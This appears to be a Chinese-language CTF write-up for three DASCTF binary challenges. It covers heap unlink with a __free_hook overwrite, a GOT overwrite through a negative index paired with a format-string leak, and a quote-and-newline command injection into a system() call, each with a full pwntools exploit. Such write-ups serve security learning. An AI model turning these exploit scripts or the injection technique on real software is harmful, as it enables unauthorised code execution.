DASCTF二进制专项部分Writeup-Toy模板网

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easynote

create：堆大小可以任意分配只要不超过0xFFF

create()

 unsigned __int64 create()
{
  int i; // [rsp+0h] [rbp-20h]
  unsigned int size; // [rsp+4h] [rbp-1Ch]
  void *size_4; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; *(&chunk_ptr + i); ++i )
    ;
  puts("The length of your content --->");
  read(0, buf, 4uLL);
  size = atoi(buf);
  if ( size > 0xFFF )
  {
    puts("Are you kidding me?");
    exit(0);
  }
  size_4 = malloc(size);
  if ( !size_4 )
  {
    puts("Here something goes wrong!");
    exit(0);
  }
  puts("Content --->");
  read(0, size_4, size);
  *(&chunk_ptr + i) = size_4;
  return __readfsqword(0x28u) ^ v5;
}

delete：释放之后没做任何处理，存在UAF和Double Free。

delete()

 unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Index --->");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( !*(&chunk_ptr + v1) )
  {
    puts("Are you kididng me?");
    exit(0);
  }
  free(*(&chunk_ptr + v1));
  puts("done");
  return __readfsqword(0x28u) ^ v3;
}

edit：没有对索引进行处理，只要索引处是一个可写的地址就行，而且写入大小也是自己控制，可以伪造堆。

edit()

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+8h] [rbp-18h]
  unsigned int nbytes; // [rsp+Ch] [rbp-14h]
  char nbytes_4; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Index --->");
  read(0, &nbytes_4, 4uLL);
  v1 = atoi(&nbytes_4);
  if ( !*(&chunk_ptr + v1) )
  {
    puts("Are you kididng me?");
    exit(0);
  }
  puts("The length of your content --->");
  read(0, &nbytes_4, 4uLL);
  nbytes = atoi(&nbytes_4);
  puts("Content --->");
  read(0, *(&chunk_ptr + v1), nbytes);
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 show()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Index --->");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( !*(&chunk_ptr + v1) )
  {
    puts("Are you kididng me?");
    exit(0);
  }
  printf("Content: %s\n", (const char *)*(&chunk_ptr + v1));
  puts("done");
  return __readfsqword(0x28u) ^ v3;
}

解题思路：

1、创建三个堆块，第一个堆块大小要可以装下一个伪造的堆（不属于fastbin），后两个不属于fastbin就可以。编号：chunk0、chunk1、chunk2。

2、释放chunk0，利用show打印chunk0，获得main_arena+0x58的地址，main_arena的地址在malloc_trim函数里面。计算出libc的基址。

3、重新申请chunk0，写入伪造的堆块，将chunk1的 PREV_INUSE 置为0，释放chunk1，利用unlink修改指向chunk0的地址为伪造的堆块的fd。

4、往chunk_ptr里面写入__free_hook的地址，修改__free_hook为system，释放chunk3（chunk3内容为/bin/sh），获得shell。

需要注意的地方：

main_arena的地址查找

main_arena

 gdb-peda$ heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x1209000
Size: 0xa1
fd: 0x7f658cb98b78
bk: 0x7f658cb98b78

Allocated chunk
Addr: 0x12090a0
Size: 0x90

Allocated chunk | PREV_INUSE
Addr: 0x1209130
Size: 0xb1

Top chunk | PREV_INUSE
Addr: 0x12091e0
Size: 0x20e21

gdb-peda$ x 0x7f658cb98b78
0x7f658cb98b78 <main_arena+88>:	0x00000000012091e0

malloc_trim

// 源码
int __malloc_trim(size_t s) {
	int result = 0;

	if (__malloc_initialized < 0)
		ptmalloc_init();
	mstate ar_ptr = &main_arena;
    
// IDA 
__int64 __fastcall malloc_trim(__int64 a1) {
  if ( dword_3C4144 < 0 )
    sub_854D0();
  v21 = 0;
  v18 = &dword_3C4B20;

在libc-2.23，main_arena在__malloc_hook + 0x10处

.data:00000000003C4B10                               public __malloc_hook ; weak
.data:00000000003C4B10 A0 58 08 00 00 00 00 00       __malloc_hook dq offset sub_858A0       ; DATA XREF: LOAD:000000000000A380↑o
.data:00000000003C4B10                                                                       ; .got:__malloc_hook_ptr↑o
.data:00000000003C4B18 00 00 00 00 00 00 00 00       align 20h
.data:00000000003C4B20 00 00 00 00                   dword_3C4B20 dd 0

伪造的堆块需要满足的条件

伪chunk->fd->bk == P && 伪chunk->bk->fd == P（在C语言里面->表示左边的结构体变量的地址+右边成员在左边结构体的偏移量），说最简单些就是伪chunk的fd处的地址指向存在这个伪chunk的地址的地址减去bk（32位为0xC，64位为0x18），还是看图理解吧。

DASCTF二进制专项部分Writeup

当释放chunk1时因为prev_inuse为0，会向上合并执行unlink，就会将0x0100处的值修改为fd（0x00E8）。这里如果想深入了解可以去阅读libc源码。

exp

from pwn import *

debug = 0
local = 0
host = "node4.buuoj.cn"
port = 27934
filename = "./pwn"

def malloc(size, data):
    p.sendafter(b'5. exit\n', b'1')
    p.sendafter(b'The length of your content --->\n', f'{size}'.encode())
    p.sendafter(b'Content --->\n', data)

def edit(index, size, data):
    p.sendafter(b'5. exit\n', b'2')
    p.sendafter(b'Index --->\n', f'{index}'.encode())
    p.sendafter(b'The length of your content --->\n', f'{size}'.encode())
    p.sendafter(b'Content --->\n', data)

def free(index):
    p.sendafter(b'5. exit\n', b'3')
    p.sendafter(b'Index --->\n', f'{index}'.encode())

def show(index):
    p.sendafter(b'5. exit\n', b'4')
    p.sendafter(b'Index --->\n', f'{index}'.encode())

p = process(filename) if not debug and local else gdb.debug(filename, "b main\nb *0x400C69") if debug else remote(host, port)
elf = ELF(filename)
libc = ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so") if local else ELF('./libc-2.23.so')

chunk = 0x6020C0

malloc(0x98, b'A' * 0x8)
malloc(0x88, b'A' * 0x8)
malloc(0xA8, b'/bin/sh\x00')
free(0)
show(0)
p.recvuntil(b'Content: ')
main_arena_va = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00')) - 0x58
libcbase = main_arena_va - libc.sym['__malloc_hook'] - 0x10
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
print(f'main_arena_va => {hex(main_arena_va)}')
print(f'libcbase => {hex(libcbase)}')

malloc(0x98, b'A' * 0x8)    # free(): corrupted unsorted chunks
payload = p64(0) + p64(0x91) + p64(chunk - 0x18) + p64(chunk - 0x10)
payload = payload.ljust(0x90, b'\x00')
payload += p64(0x90) + p64(0x90)
edit(0, len(payload), payload)
free(1)
payload = p64(0) * 3 + p64(free_hook)
edit(0, 0x20, payload)
edit(0, 0x8, p64(system))
free(2)
p.interactive()

Candy_Shop

buy_canary：在写入canarys时，索引可以为负数，因为got表在canarys上面可以改写got表，但是要先改一下money（同样也在canarys上面）的值。

buy_canary()

 unsigned __int64 buy_canary()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  char v2[2]; // [rsp+6h] [rbp-Ah] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts(&s);
  printf("You just have %d dollors\n", (unsigned int)money);
  puts("(T)hree dollors a Krola");
  puts("(t)wo dollors a Slania");
  puts("(f)our dollors a Koparia");
  printf("Which one you want to bye: ");
  getstring(v2, 2LL);
  if ( v2[0] == 84 && (unsigned int)money > 2 )
  {
    money -= 3;
  }
  else if ( v2[0] == 116 && (unsigned int)money > 1 )
  {
    money -= 2;
  }
  else
  {
    if ( v2[0] != 102 || (unsigned int)money <= 3 )
    {
      puts("You wanna fool me???");
      exit(0);
    }
    money -= 4;
  }
  puts("Which pocket would you like to put the candy in?");
  printf(": ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 2 )
    exit(0);
  puts("Give your candy a name!");
  printf(": ");
  getstring((char *)&canarys + 19 * v1, 19LL);
  puts("Done!!!");
  return v3 - __readfsqword(0x28u);
}

gift：存在格式化字符串漏洞，动态调试可以发现在调用printf时，RCX为write + 23，进而泄露libc地址。

      if ( v3 )
      {
        puts("Give me your name: ");
        getstring(format, 8LL);
        printf("booooo!!!!\nyou have received a gift:");
        printf(format);
        puts(&s);
        --v3;
      }

解题思路：

利用buy_canary写入got表，修改memset为system，获得shell。

exp

from pwn import *

debug = 0
local = 0
host = "139.155.132.59"
port = 9999
filename = "./pwn"

def buy(index, data):
    p.sendlineafter(b'option: ', b'b')
    p.sendlineafter(b'Which one you want to bye: ', b't')
    p.sendlineafter(b': ', f'{index}'.encode())
    p.sendlineafter(b': ', data)

p = process(filename) if not debug and local else gdb.debug(filename, "b main\n b _buy_canary") if debug else remote(host, port)
elf = ELF(filename)
libc = ELF("./libc.so.6")

p.sendlineafter(b'option: ', b'g')
p.sendlineafter(b'Give me your name: \n', b'%3$p')
p.recvuntil(b'0x')
write = int(p.recvuntil(b'\n').strip().decode(), 16) - 23
libcbase = write - libc.sym['write']
printf = libcbase + libc.sym['printf']
system = libcbase + libc.sym['system']
print(f'write => {hex(write)}')
print(f'libcbase => {hex(libcbase)}')
print(f'printf => {hex(printf)}')
print(f'system => {hex(system)}')

p.sendlineafter(b'option: ', b'e')    # 执行一次memset将memset地址绑定的got表，因为后面要利用memeset获得shell

buy(-2, b'\xFF' * 11)
buy(0, b'/bin/sh\x00')
payload = b'A' * 6 + p64(printf) + p64(system)[:-3]
# 这里不使用上面定义的buy是因为，需要把payload写入程序，长度正好是19如果多输入一个\n就会执行gift，还要输入其他内容。
index = -10
p.sendlineafter(b'option: ', b'b')
p.sendlineafter(b'Which one you want to bye: ', b't')
p.sendlineafter(b': ', f'{index}'.encode())
p.sendafter(b': ', payload)

p.sendlineafter(b'option: ', b'e')
p.interactive()

server

观察第一个函数里面的s和读入s字符串的长度，观察第二个函数的v1

仔细观察

 unsigned __int64 sub_141A()
{
  char s[32]; // [rsp+0h] [rbp-60h] BYREF
  char name[56]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Hello, CTFer.");
  puts("Please input the key of admin : ");
  fgets(s, 28, stdin);
  snprintf(name, 0x20uLL, "/keys/%s.key", s);
  if ( access(name, 0) == -1 )
  {
    puts("Sorry, you are not winmt.");
  }
  else
  {
    puts("Hello, winmt.");
    dword_404C = 1;
  }
  return __readfsqword(0x28u) ^ v3;
}

unsigned __int64 sub_16B5()
{
  char v1[16]; // [rsp+10h] [rbp-50h] BYREF
  char s[56]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Hello, winmt.");
  puts("Please input the username to add : ");
  if ( (unsigned int)sub_14DA(v1) == -1 )
  {
    puts("Woc! You're a hacker!");
    dword_404C = 0;
    exit(-1);
  }
  snprintf(s, 0x30uLL, "add_user -u '%s' -p '888888'", v1);
  system(s);
  puts("Success!");
  return __readfsqword(0x28u) ^ v3;
}

动态调试容易发现漏洞

snprintf只会保留指定长度的字符，输入长一些的字符串绕过access。

 ► 0x5633e609b495    call   access@plt                <access@plt>
        name: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh'
        type: 0x0

登录成功之后发现，两个函数的栈空间里面的变量有重叠的地方，在登录的时候构造合适的字符串，基本不过管第二个函数的过滤。

 ► 0x5633e609b73c    call   snprintf@plt                <snprintf@plt>
        s: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh'
        maxlen: 0x30
        format: 0x5633e609c102 ◂— "add_user -u '%s' -p '888888'"
        vararg: 0x7ffe2d1f5b50 ◂— "'\n/bin/sh\n"
        
        
 ► 0x5633e609b748    call   system@plt                <system@plt>
        command: 0x7ffe2d1f5b60 ◂— "add_user -u ''\n/bin/sh\n' -p '888888'"

exp

from pwn import *

debug = 0
local = 0
host = "node4.buuoj.cn"
port = 26010
filename = "./pwn_7"

p = process(filename) if not debug and local else gdb.debug(filename, "b alarm\nc\nd\nfinis") if debug else remote(host, port)
elf = ELF(filename)

p.sendlineafter(b'Your choice >> ', b'1')
p.sendlineafter(b'Please input the key of admin : \n', b'../////////////////bin/sh')

p.sendlineafter(b'Your choice >> ', b'2')
p.sendlineafter(b'Please input the username to add : \n', b"'")
p.sendline(b'cat flag')
p.interactive()

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